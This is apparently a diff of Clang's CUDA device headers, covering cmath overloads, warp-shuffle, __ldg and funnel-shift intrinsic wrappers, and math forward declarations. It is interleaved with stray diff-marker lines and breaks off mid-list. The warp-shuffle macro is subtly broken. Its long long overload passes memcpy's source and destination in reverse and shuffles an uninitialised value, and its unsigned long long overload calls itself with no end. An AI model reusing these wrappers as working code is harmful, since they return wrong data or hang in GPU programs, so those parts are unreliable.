/*===---- __clang_cuda_cmath.h - Device-side CUDA cmath support ------------===
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*
|
||||
*===-----------------------------------------------------------------------===
|
||||
*/
|
||||
#ifndef __CLANG_CUDA_CMATH_H__
|
||||
#define __CLANG_CUDA_CMATH_H__
|
||||
#ifndef __CUDA__
|
||||
#error "This file is for CUDA compilation only."
|
||||
#endif
|
||||
|
||||
// CUDA lets us use various std math functions on the device side. This file
|
||||
// works in concert with __clang_cuda_math_forward_declares.h to make this work.
|
||||
//
|
||||
// Specifically, the forward-declares header declares __device__ overloads for
|
||||
// these functions in the global namespace, then pulls them into namespace std
|
||||
// with 'using' statements. Then this file implements those functions, after
|
||||
// the implementations have been pulled in.
|
||||
//
|
||||
// It's important that we declare the functions in the global namespace and pull
|
||||
// them into namespace std with using statements, as opposed to simply declaring
|
||||
// these functions in namespace std, because our device functions need to
|
||||
// overload the standard library functions, which may be declared in the global
|
||||
// namespace or in std, depending on the degree of conformance of the stdlib
|
||||
// implementation. Declaring in the global namespace and pulling into namespace
|
||||
// std covers all of the known knowns.
|
||||
|
||||
#define __DEVICE__ static __device__ __inline__ __attribute__((always_inline))
|
||||
|
||||
__DEVICE__ long long abs(long long __n) { return ::llabs(__n); }
|
||||
__DEVICE__ long abs(long __n) { return ::labs(__n); }
|
||||
__DEVICE__ float abs(float __x) { return ::fabsf(__x); }
|
||||
__DEVICE__ double abs(double __x) { return ::fabs(__x); }
|
||||
__DEVICE__ float acos(float __x) { return ::acosf(__x); }
|
||||
__DEVICE__ float asin(float __x) { return ::asinf(__x); }
|
||||
__DEVICE__ float atan(float __x) { return ::atanf(__x); }
|
||||
__DEVICE__ float atan2(float __x, float __y) { return ::atan2f(__x, __y); }
|
||||
__DEVICE__ float ceil(float __x) { return ::ceilf(__x); }
|
||||
__DEVICE__ float cos(float __x) { return ::cosf(__x); }
|
||||
__DEVICE__ float cosh(float __x) { return ::coshf(__x); }
|
||||
__DEVICE__ float exp(float __x) { return ::expf(__x); }
|
||||
__DEVICE__ float fabs(float __x) { return ::fabsf(__x); }
|
||||
__DEVICE__ float floor(float __x) { return ::floorf(__x); }
|
||||
__DEVICE__ float fmod(float __x, float __y) { return ::fmodf(__x, __y); }
|
||||
__DEVICE__ int fpclassify(float __x) {
|
||||
return __builtin_fpclassify(FP_NAN, FP_INFINITE, FP_NORMAL, FP_SUBNORMAL,
|
||||
FP_ZERO, __x);
|
||||
}
|
||||
__DEVICE__ int fpclassify(double __x) {
|
||||
return __builtin_fpclassify(FP_NAN, FP_INFINITE, FP_NORMAL, FP_SUBNORMAL,
|
||||
FP_ZERO, __x);
|
||||
}
|
||||
__DEVICE__ float frexp(float __arg, int *__exp) {
|
||||
return ::frexpf(__arg, __exp);
|
||||
}
|
||||
__DEVICE__ bool isinf(float __x) { return ::__isinff(__x); }
|
||||
__DEVICE__ bool isinf(double __x) { return ::__isinf(__x); }
|
||||
__DEVICE__ bool isfinite(float __x) { return ::__finitef(__x); }
|
||||
__DEVICE__ bool isfinite(double __x) { return ::__finite(__x); }
|
||||
__DEVICE__ bool isgreater(float __x, float __y) {
|
||||
return __builtin_isgreater(__x, __y);
|
||||
}
|
||||
__DEVICE__ bool isgreater(double __x, double __y) {
|
||||
return __builtin_isgreater(__x, __y);
|
||||
}
|
||||
__DEVICE__ bool isgreaterequal(float __x, float __y) {
|
||||
return __builtin_isgreaterequal(__x, __y);
|
||||
}
|
||||
__DEVICE__ bool isgreaterequal(double __x, double __y) {
|
||||
return __builtin_isgreaterequal(__x, __y);
|
||||
}
|
||||
__DEVICE__ bool isless(float __x, float __y) {
|
||||
return __builtin_isless(__x, __y);
|
||||
}
|
||||
__DEVICE__ bool isless(double __x, double __y) {
|
||||
return __builtin_isless(__x, __y);
|
||||
}
|
||||
__DEVICE__ bool islessequal(float __x, float __y) {
|
||||
return __builtin_islessequal(__x, __y);
|
||||
}
|
||||
__DEVICE__ bool islessequal(double __x, double __y) {
|
||||
return __builtin_islessequal(__x, __y);
|
||||
}
|
||||
__DEVICE__ bool islessgreater(float __x, float __y) {
|
||||
return __builtin_islessgreater(__x, __y);
|
||||
}
|
||||
__DEVICE__ bool islessgreater(double __x, double __y) {
|
||||
return __builtin_islessgreater(__x, __y);
|
||||
}
|
||||
__DEVICE__ bool isnan(float __x) { return ::__isnanf(__x); }
|
||||
__DEVICE__ bool isnan(double __x) { return ::__isnan(__x); }
|
||||
__DEVICE__ bool isnormal(float __x) { return __builtin_isnormal(__x); }
|
||||
__DEVICE__ bool isnormal(double __x) { return __builtin_isnormal(__x); }
|
||||
__DEVICE__ bool isunordered(float __x, float __y) {
|
||||
return __builtin_isunordered(__x, __y);
|
||||
}
|
||||
__DEVICE__ bool isunordered(double __x, double __y) {
|
||||
return __builtin_isunordered(__x, __y);
|
||||
}
|
||||
__DEVICE__ float ldexp(float __arg, int __exp) {
|
||||
return ::ldexpf(__arg, __exp);
|
||||
}
|
||||
__DEVICE__ float log(float __x) { return ::logf(__x); }
|
||||
__DEVICE__ float log10(float __x) { return ::log10f(__x); }
|
||||
__DEVICE__ float modf(float __x, float *__iptr) { return ::modff(__x, __iptr); }
|
||||
__DEVICE__ float nexttoward(float __from, float __to) {
|
||||
return __builtin_nexttowardf(__from, __to);
|
||||
}
|
||||
__DEVICE__ double nexttoward(double __from, double __to) {
|
||||
return __builtin_nexttoward(__from, __to);
|
||||
}
|
||||
__DEVICE__ float pow(float __base, float __exp) {
|
||||
return ::powf(__base, __exp);
|
||||
}
|
||||
__DEVICE__ float pow(float __base, int __iexp) {
|
||||
return ::powif(__base, __iexp);
|
||||
}
|
||||
__DEVICE__ double pow(double __base, int __iexp) {
|
||||
return ::powi(__base, __iexp);
|
||||
}
|
||||
__DEVICE__ bool signbit(float __x) { return ::__signbitf(__x); }
|
||||
__DEVICE__ bool signbit(double __x) { return ::__signbit(__x); }
|
||||
__DEVICE__ float sin(float __x) { return ::sinf(__x); }
|
||||
__DEVICE__ float sinh(float __x) { return ::sinhf(__x); }
|
||||
__DEVICE__ float sqrt(float __x) { return ::sqrtf(__x); }
|
||||
__DEVICE__ float tan(float __x) { return ::tanf(__x); }
|
||||
__DEVICE__ float tanh(float __x) { return ::tanhf(__x); }
|
||||
|
||||
#undef __DEVICE__
|
||||
|
||||
#endif
|
|
@ -0,0 +1,322 @@
|
|||
/*===--- __clang_cuda_intrinsics.h - Device-side CUDA intrinsic wrappers ---===
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*
|
||||
*===-----------------------------------------------------------------------===
|
||||
*/
|
||||
#ifndef __CLANG_CUDA_INTRINSICS_H__
|
||||
#define __CLANG_CUDA_INTRINSICS_H__
|
||||
#ifndef __CUDA__
|
||||
#error "This file is for CUDA compilation only."
|
||||
#endif
|
||||
|
||||
// sm_30 intrinsics: __shfl_{up,down,xor}.
|
||||
|
||||
#define __SM_30_INTRINSICS_H__
|
||||
#define __SM_30_INTRINSICS_HPP__
|
||||
|
||||
#if !defined(__CUDA_ARCH__) || __CUDA_ARCH__ >= 300
|
||||
|
||||
#pragma push_macro("__MAKE_SHUFFLES")
|
||||
#define __MAKE_SHUFFLES(__FnName, __IntIntrinsic, __FloatIntrinsic, __Mask) \
|
||||
inline __device__ int __FnName(int __in, int __offset, \
|
||||
int __width = warpSize) { \
|
||||
return __IntIntrinsic(__in, __offset, \
|
||||
((warpSize - __width) << 8) | (__Mask)); \
|
||||
} \
|
||||
inline __device__ float __FnName(float __in, int __offset, \
|
||||
int __width = warpSize) { \
|
||||
return __FloatIntrinsic(__in, __offset, \
|
||||
((warpSize - __width) << 8) | (__Mask)); \
|
||||
} \
|
||||
inline __device__ unsigned int __FnName(unsigned int __in, int __offset, \
|
||||
int __width = warpSize) { \
|
||||
return static_cast<unsigned int>( \
|
||||
::__FnName(static_cast<int>(__in), __offset, __width)); \
|
||||
} \
|
||||
inline __device__ long long __FnName(long long __in, int __offset, \
|
||||
int __width = warpSize) { \
|
||||
struct __Bits { \
|
||||
int __a, __b; \
|
||||
}; \
|
||||
_Static_assert(sizeof(__in) == sizeof(__Bits)); \
|
||||
_Static_assert(sizeof(__Bits) == 2 * sizeof(int)); \
|
||||
__Bits __tmp; \
|
||||
memcpy(&__in, &__tmp, sizeof(__in)); \
|
||||
__tmp.__a = ::__FnName(__tmp.__a, __offset, __width); \
|
||||
__tmp.__b = ::__FnName(__tmp.__b, __offset, __width); \
|
||||
long long __out; \
|
||||
memcpy(&__out, &__tmp, sizeof(__tmp)); \
|
||||
return __out; \
|
||||
} \
|
||||
inline __device__ unsigned long long __FnName( \
|
||||
unsigned long long __in, int __offset, int __width = warpSize) { \
|
||||
return static_cast<unsigned long long>( \
|
||||
::__FnName(static_cast<unsigned long long>(__in), __offset, __width)); \
|
||||
} \
|
||||
inline __device__ double __FnName(double __in, int __offset, \
|
||||
int __width = warpSize) { \
|
||||
long long __tmp; \
|
||||
_Static_assert(sizeof(__tmp) == sizeof(__in)); \
|
||||
memcpy(&__tmp, &__in, sizeof(__in)); \
|
||||
__tmp = ::__FnName(__tmp, __offset, __width); \
|
||||
double __out; \
|
||||
memcpy(&__out, &__tmp, sizeof(__out)); \
|
||||
return __out; \
|
||||
}
|
||||
|
||||
__MAKE_SHUFFLES(__shfl, __nvvm_shfl_idx_i32, __nvvm_shfl_idx_f32, 0x1f);
|
||||
// We use 0 rather than 31 as our mask, because shfl.up applies to lanes >=
|
||||
// maxLane.
|
||||
__MAKE_SHUFFLES(__shfl_up, __nvvm_shfl_up_i32, __nvvm_shfl_up_f32, 0);
|
||||
__MAKE_SHUFFLES(__shfl_down, __nvvm_shfl_down_i32, __nvvm_shfl_down_f32, 0x1f);
|
||||
__MAKE_SHUFFLES(__shfl_xor, __nvvm_shfl_bfly_i32, __nvvm_shfl_bfly_f32, 0x1f);
|
||||
|
||||
#pragma pop_macro("__MAKE_SHUFFLES")
|
||||
|
||||
#endif // !defined(__CUDA_ARCH__) || __CUDA_ARCH__ >= 300
|
||||
|
||||
// sm_32 intrinsics: __ldg and __funnelshift_{l,lc,r,rc}.
|
||||
|
||||
// Prevent the vanilla sm_32 intrinsics header from being included.
|
||||
#define __SM_32_INTRINSICS_H__
|
||||
#define __SM_32_INTRINSICS_HPP__
|
||||
|
||||
#if !defined(__CUDA_ARCH__) || __CUDA_ARCH__ >= 320
|
||||
|
||||
inline __device__ char __ldg(const char *ptr) { return __nvvm_ldg_c(ptr); }
|
||||
inline __device__ short __ldg(const short *ptr) { return __nvvm_ldg_s(ptr); }
|
||||
inline __device__ int __ldg(const int *ptr) { return __nvvm_ldg_i(ptr); }
|
||||
inline __device__ long __ldg(const long *ptr) { return __nvvm_ldg_l(ptr); }
|
||||
inline __device__ long long __ldg(const long long *ptr) {
|
||||
return __nvvm_ldg_ll(ptr);
|
||||
}
|
||||
inline __device__ unsigned char __ldg(const unsigned char *ptr) {
|
||||
return __nvvm_ldg_uc(ptr);
|
||||
}
|
||||
inline __device__ unsigned short __ldg(const unsigned short *ptr) {
|
||||
return __nvvm_ldg_us(ptr);
|
||||
}
|
||||
inline __device__ unsigned int __ldg(const unsigned int *ptr) {
|
||||
return __nvvm_ldg_ui(ptr);
|
||||
}
|
||||
inline __device__ unsigned long __ldg(const unsigned long *ptr) {
|
||||
return __nvvm_ldg_ul(ptr);
|
||||
}
|
||||
inline __device__ unsigned long long __ldg(const unsigned long long *ptr) {
|
||||
return __nvvm_ldg_ull(ptr);
|
||||
}
|
||||
inline __device__ float __ldg(const float *ptr) { return __nvvm_ldg_f(ptr); }
|
||||
inline __device__ double __ldg(const double *ptr) { return __nvvm_ldg_d(ptr); }
|
||||
|
||||
inline __device__ char2 __ldg(const char2 *ptr) {
|
||||
typedef char c2 __attribute__((ext_vector_type(2)));
|
||||
// We can assume that ptr is aligned at least to char2's alignment, but the
|
||||
// load will assume that ptr is aligned to char2's alignment. This is only
|
||||
// safe if alignof(c2) <= alignof(char2).
|
||||
c2 rv = __nvvm_ldg_c2(reinterpret_cast<const c2 *>(ptr));
|
||||
char2 ret;
|
||||
ret.x = rv[0];
|
||||
ret.y = rv[1];
|
||||
return ret;
|
||||
}
|
||||
inline __device__ char4 __ldg(const char4 *ptr) {
|
||||
typedef char c4 __attribute__((ext_vector_type(4)));
|
||||
c4 rv = __nvvm_ldg_c4(reinterpret_cast<const c4 *>(ptr));
|
||||
char4 ret;
|
||||
ret.x = rv[0];
|
||||
ret.y = rv[1];
|
||||
ret.z = rv[2];
|
||||
ret.w = rv[3];
|
||||
return ret;
|
||||
}
|
||||
inline __device__ short2 __ldg(const short2 *ptr) {
|
||||
typedef short s2 __attribute__((ext_vector_type(2)));
|
||||
s2 rv = __nvvm_ldg_s2(reinterpret_cast<const s2 *>(ptr));
|
||||
short2 ret;
|
||||
ret.x = rv[0];
|
||||
ret.y = rv[1];
|
||||
return ret;
|
||||
}
|
||||
inline __device__ short4 __ldg(const short4 *ptr) {
|
||||
typedef short s4 __attribute__((ext_vector_type(4)));
|
||||
s4 rv = __nvvm_ldg_s4(reinterpret_cast<const s4 *>(ptr));
|
||||
short4 ret;
|
||||
ret.x = rv[0];
|
||||
ret.y = rv[1];
|
||||
ret.z = rv[2];
|
||||
ret.w = rv[3];
|
||||
return ret;
|
||||
}
|
||||
inline __device__ int2 __ldg(const int2 *ptr) {
|
||||
typedef int i2 __attribute__((ext_vector_type(2)));
|
||||
i2 rv = __nvvm_ldg_i2(reinterpret_cast<const i2 *>(ptr));
|
||||
int2 ret;
|
||||
ret.x = rv[0];
|
||||
ret.y = rv[1];
|
||||
return ret;
|
||||
}
|
||||
inline __device__ int4 __ldg(const int4 *ptr) {
|
||||
typedef int i4 __attribute__((ext_vector_type(4)));
|
||||
i4 rv = __nvvm_ldg_i4(reinterpret_cast<const i4 *>(ptr));
|
||||
int4 ret;
|
||||
ret.x = rv[0];
|
||||
ret.y = rv[1];
|
||||
ret.z = rv[2];
|
||||
ret.w = rv[3];
|
||||
return ret;
|
||||
}
|
||||
inline __device__ longlong2 __ldg(const longlong2 *ptr) {
|
||||
typedef long long ll2 __attribute__((ext_vector_type(2)));
|
||||
ll2 rv = __nvvm_ldg_ll2(reinterpret_cast<const ll2 *>(ptr));
|
||||
longlong2 ret;
|
||||
ret.x = rv[0];
|
||||
ret.y = rv[1];
|
||||
return ret;
|
||||
}
|
||||
|
||||
inline __device__ uchar2 __ldg(const uchar2 *ptr) {
|
||||
typedef unsigned char uc2 __attribute__((ext_vector_type(2)));
|
||||
uc2 rv = __nvvm_ldg_uc2(reinterpret_cast<const uc2 *>(ptr));
|
||||
uchar2 ret;
|
||||
ret.x = rv[0];
|
||||
ret.y = rv[1];
|
||||
return ret;
|
||||
}
|
||||
inline __device__ uchar4 __ldg(const uchar4 *ptr) {
|
||||
typedef unsigned char uc4 __attribute__((ext_vector_type(4)));
|
||||
uc4 rv = __nvvm_ldg_uc4(reinterpret_cast<const uc4 *>(ptr));
|
||||
uchar4 ret;
|
||||
ret.x = rv[0];
|
||||
ret.y = rv[1];
|
||||
ret.z = rv[2];
|
||||
ret.w = rv[3];
|
||||
return ret;
|
||||
}
|
||||
inline __device__ ushort2 __ldg(const ushort2 *ptr) {
|
||||
typedef unsigned short us2 __attribute__((ext_vector_type(2)));
|
||||
us2 rv = __nvvm_ldg_us2(reinterpret_cast<const us2 *>(ptr));
|
||||
ushort2 ret;
|
||||
ret.x = rv[0];
|
||||
ret.y = rv[1];
|
||||
return ret;
|
||||
}
|
||||
inline __device__ ushort4 __ldg(const ushort4 *ptr) {
|
||||
typedef unsigned short us4 __attribute__((ext_vector_type(4)));
|
||||
us4 rv = __nvvm_ldg_us4(reinterpret_cast<const us4 *>(ptr));
|
||||
ushort4 ret;
|
||||
ret.x = rv[0];
|
||||
ret.y = rv[1];
|
||||
ret.z = rv[2];
|
||||
ret.w = rv[3];
|
||||
return ret;
|
||||
}
|
||||
inline __device__ uint2 __ldg(const uint2 *ptr) {
|
||||
typedef unsigned int ui2 __attribute__((ext_vector_type(2)));
|
||||
ui2 rv = __nvvm_ldg_ui2(reinterpret_cast<const ui2 *>(ptr));
|
||||
uint2 ret;
|
||||
ret.x = rv[0];
|
||||
ret.y = rv[1];
|
||||
return ret;
|
||||
}
|
||||
inline __device__ uint4 __ldg(const uint4 *ptr) {
|
||||
typedef unsigned int ui4 __attribute__((ext_vector_type(4)));
|
||||
ui4 rv = __nvvm_ldg_ui4(reinterpret_cast<const ui4 *>(ptr));
|
||||
uint4 ret;
|
||||
ret.x = rv[0];
|
||||
ret.y = rv[1];
|
||||
ret.z = rv[2];
|
||||
ret.w = rv[3];
|
||||
return ret;
|
||||
}
|
||||
inline __device__ ulonglong2 __ldg(const ulonglong2 *ptr) {
|
||||
typedef unsigned long long ull2 __attribute__((ext_vector_type(2)));
|
||||
ull2 rv = __nvvm_ldg_ull2(reinterpret_cast<const ull2 *>(ptr));
|
||||
ulonglong2 ret;
|
||||
ret.x = rv[0];
|
||||
ret.y = rv[1];
|
||||
return ret;
|
||||
}
|
||||
|
||||
inline __device__ float2 __ldg(const float2 *ptr) {
|
||||
typedef float f2 __attribute__((ext_vector_type(2)));
|
||||
f2 rv = __nvvm_ldg_f2(reinterpret_cast<const f2 *>(ptr));
|
||||
float2 ret;
|
||||
ret.x = rv[0];
|
||||
ret.y = rv[1];
|
||||
return ret;
|
||||
}
|
||||
inline __device__ float4 __ldg(const float4 *ptr) {
|
||||
typedef float f4 __attribute__((ext_vector_type(4)));
|
||||
f4 rv = __nvvm_ldg_f4(reinterpret_cast<const f4 *>(ptr));
|
||||
float4 ret;
|
||||
ret.x = rv[0];
|
||||
ret.y = rv[1];
|
||||
ret.z = rv[2];
|
||||
ret.w = rv[3];
|
||||
return ret;
|
||||
}
|
||||
inline __device__ double2 __ldg(const double2 *ptr) {
|
||||
typedef double d2 __attribute__((ext_vector_type(2)));
|
||||
d2 rv = __nvvm_ldg_d2(reinterpret_cast<const d2 *>(ptr));
|
||||
double2 ret;
|
||||
ret.x = rv[0];
|
||||
ret.y = rv[1];
|
||||
return ret;
|
||||
}
|
||||
|
||||
// TODO: Implement these as intrinsics, so the backend can work its magic on
|
||||
// these. Alternatively, we could implement these as plain C and try to get
|
||||
// llvm to recognize the relevant patterns.
|
||||
inline __device__ unsigned __funnelshift_l(unsigned low32, unsigned high32,
|
||||
unsigned shiftWidth) {
|
||||
unsigned result;
|
||||
asm("shf.l.wrap.b32 %0, %1, %2, %3;"
|
||||
: "=r"(result)
|
||||
: "r"(low32), "r"(high32), "r"(shiftWidth));
|
||||
return result;
|
||||
}
|
||||
inline __device__ unsigned __funnelshift_lc(unsigned low32, unsigned high32,
|
||||
unsigned shiftWidth) {
|
||||
unsigned result;
|
||||
asm("shf.l.clamp.b32 %0, %1, %2, %3;"
|
||||
: "=r"(result)
|
||||
: "r"(low32), "r"(high32), "r"(shiftWidth));
|
||||
return result;
|
||||
}
|
||||
inline __device__ unsigned __funnelshift_r(unsigned low32, unsigned high32,
|
||||
unsigned shiftWidth) {
|
||||
unsigned result;
|
||||
asm("shf.r.wrap.b32 %0, %1, %2, %3;"
|
||||
: "=r"(result)
|
||||
: "r"(low32), "r"(high32), "r"(shiftWidth));
|
||||
return result;
|
||||
}
|
||||
inline __device__ unsigned __funnelshift_rc(unsigned low32, unsigned high32,
|
||||
unsigned shiftWidth) {
|
||||
unsigned ret;
|
||||
asm("shf.r.clamp.b32 %0, %1, %2, %3;"
|
||||
: "=r"(ret)
|
||||
: "r"(low32), "r"(high32), "r"(shiftWidth));
|
||||
return ret;
|
||||
}
|
||||
|
||||
#endif // !defined(__CUDA_ARCH__) || __CUDA_ARCH__ >= 320
|
||||
|
||||
#endif // defined(__CLANG_CUDA_INTRINSICS_H__)
|
|
@ -0,0 +1,263 @@
|
|||
/*===- __clang_math_forward_declares.h - Prototypes of __device__ math fns --===
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*
|
||||
*===-----------------------------------------------------------------------===
|
||||
*/
|
||||
#ifndef __CLANG__CUDA_MATH_FORWARD_DECLARES_H__
|
||||
#define __CLANG__CUDA_MATH_FORWARD_DECLARES_H__
|
||||
#ifndef __CUDA__
|
||||
#error "This file is for CUDA compilation only."
|
||||
#endif
|
||||
|
||||
// This file forward-declares of some math functions we (or the CUDA headers)
|
||||
// will define later. We need to do this, and do it before cmath is included,
|
||||
// because the standard library may have constexpr math functions. In the
|
||||
// absence of a prior __device__ decl, those constexpr functions may become
|
||||
// implicitly host+device. host+device functions can't be overloaded, so that
|
||||
// would preclude the use of our own __device__ overloads for these functions.
|
||||
|
||||
#pragma push_macro("__DEVICE__")
|
||||
#define __DEVICE__ \
|
||||
static __inline__ __attribute__((always_inline)) __attribute__((device))
|
||||
|
||||
__DEVICE__ double abs(double);
|
||||
__DEVICE__ float abs(float);
|
||||
__DEVICE__ int abs(int);
|
||||
__DEVICE__ long abs(long);
|
||||
__DEVICE__ long long abs(long long);
|
||||
__DEVICE__ double acos(double);
|
||||
__DEVICE__ float acos(float);
|
||||
__DEVICE__ double acosh(double);
|
||||
__DEVICE__ float acosh(float);
|
||||
__DEVICE__ double asin(double);
|
||||
__DEVICE__ float asin(float);
|
||||
__DEVICE__ double asinh(double);
|
||||
__DEVICE__ float asinh(float);
|
||||
__DEVICE__ double atan2(double, double);
|
||||
__DEVICE__ float atan2(float, float);
|
||||
__DEVICE__ double atan(double);
|
||||
__DEVICE__ float atan(float);
|
||||
__DEVICE__ double atanh(double);
|
||||
__DEVICE__ float atanh(float);
|
||||
__DEVICE__ double cbrt(double);
|
||||
__DEVICE__ float cbrt(float);
|
||||
__DEVICE__ double ceil(double);
|
||||
__DEVICE__ float ceil(float);
|
||||
__DEVICE__ double copysign(double, double);
|
||||
__DEVICE__ float copysign(float, float);
|
||||
__DEVICE__ double cos(double);
|
||||
__DEVICE__ float cos(float);
|
||||
__DEVICE__ double cosh(double);
|
||||
__DEVICE__ float cosh(float);
|
||||
__DEVICE__ double erfc(double);
|
||||
__DEVICE__ float erfc(float);
|
||||
__DEVICE__ double erf(double);
|
||||
__DEVICE__ float erf(float);
|
||||
__DEVICE__ double exp2(double);
|
||||
__DEVICE__ float exp2(float);
|
||||
__DEVICE__ double exp(double);
|
||||
__DEVICE__ float exp(float);
|
||||
__DEVICE__ double expm1(double);
|
||||
__DEVICE__ float expm1(float);
|
||||
__DEVICE__ double fabs(double);
|
||||
__DEVICE__ float fabs(float);
|
||||
__DEVICE__ double fdim(double, double);
|
||||
__DEVICE__ float fdim(float, float);
|
||||
__DEVICE__ double floor(double);
|
||||
__DEVICE__ float floor(float);
|
||||
__DEVICE__ double fma(double, double, double);
|
||||
__DEVICE__ float fma(float, float, float);
|
||||
__DEVICE__ double fmax(double, double);
|
||||
__DEVICE__ float fmax(float, float);
|
||||
__DEVICE__ double fmin(double, double);
|
||||
__DEVICE__ float fmin(float, float);
|
||||
__DEVICE__ double fmod(double, double);
|
||||
__DEVICE__ float fmod(float, float);
|
||||
__DEVICE__ int fpclassify(double);
|
||||
__DEVICE__ int fpclassify(float);
|
||||
__DEVICE__ double frexp(double, int *);
|
||||
__DEVICE__ float frexp(float, int *);
|
||||
__DEVICE__ double hypot(double, double);
|
||||
__DEVICE__ float hypot(float, float);
|
||||
__DEVICE__ int ilogb(double);
|
||||
__DEVICE__ int ilogb(float);
|
||||
__DEVICE__ bool isfinite(double);
|
||||
__DEVICE__ bool isfinite(float);
|
||||
__DEVICE__ bool isgreater(double, double);
|
||||
__DEVICE__ bool isgreaterequal(double, double);
|
||||
__DEVICE__ bool isgreaterequal(float, float);
|
||||
__DEVICE__ bool isgreater(float, float);
|
||||
__DEVICE__ bool isinf(double);
|
||||
__DEVICE__ bool isinf(float);
|
||||
__DEVICE__ bool isless(double, double);
|
||||
__DEVICE__ bool islessequal(double, double);
|
||||
__DEVICE__ bool islessequal(float, float);
|
||||
__DEVICE__ bool isless(float, float);
|
||||
__DEVICE__ bool islessgreater(double, double);
|
||||
__DEVICE__ bool islessgreater(float, float);
|
||||
__DEVICE__ bool isnan(double);
|
||||
__DEVICE__ bool isnan(float);
|
||||
__DEVICE__ bool isnormal(double);
|
||||
__DEVICE__ bool isnormal(float);
|
||||
__DEVICE__ bool isunordered(double, double);
|
||||
__DEVICE__ bool isunordered(float, float);
|
||||
__DEVICE__ long labs(long);
|
||||
__DEVICE__ double ldexp(double, int);
|
||||
__DEVICE__ float ldexp(float, int);
|
||||
__DEVICE__ double lgamma(double);
|
||||
__DEVICE__ float lgamma(float);
|
||||
__DEVICE__ long long llabs(long long);
|
||||
__DEVICE__ long long llrint(double);
|
||||
__DEVICE__ long long llrint(float);
|
||||
__DEVICE__ double log10(double);
|
||||
__DEVICE__ float log10(float);
|
||||
__DEVICE__ double log1p(double);
|
||||
__DEVICE__ float log1p(float);
|
||||
__DEVICE__ double log2(double);
|
||||
__DEVICE__ float log2(float);
|
||||
__DEVICE__ double logb(double);
|
||||
__DEVICE__ float logb(float);
|
||||
__DEVICE__ double log(double);
|
||||
__DEVICE__ float log(float);
|
||||
__DEVICE__ long lrint(double);
|
||||
__DEVICE__ long lrint(float);
|
||||
__DEVICE__ long lround(double);
|
||||
__DEVICE__ long lround(float);
|
||||
__DEVICE__ double modf(double, double *);
|
||||
__DEVICE__ float modf(float, float *);
|
||||
__DEVICE__ double nan(const char *);
|
||||
__DEVICE__ float nanf(const char *);
|
||||
__DEVICE__ double nearbyint(double);
|
||||
__DEVICE__ float nearbyint(float);
|
||||
__DEVICE__ double nextafter(double, double);
|
||||
__DEVICE__ float nextafter(float, float);
|
||||
__DEVICE__ double nexttoward(double, double);
|
||||
__DEVICE__ float nexttoward(float, float);
|
||||
__DEVICE__ double pow(double, double);
|
||||
__DEVICE__ double pow(double, int);
|
||||
__DEVICE__ float pow(float, float);
|
||||
__DEVICE__ float pow(float, int);
|
||||
__DEVICE__ double remainder(double, double);
|
||||
__DEVICE__ float remainder(float, float);
|
||||
__DEVICE__ double remquo(double, double, int *);
|
||||
__DEVICE__ float remquo(float, float, int *);
|
||||
__DEVICE__ double rint(double);
|
||||
__DEVICE__ float rint(float);
|
||||
__DEVICE__ double round(double);
|
||||
__DEVICE__ float round(float);
|
||||
__DEVICE__ double scalbln(double, long);
|
||||
__DEVICE__ float scalbln(float, long);
|
||||
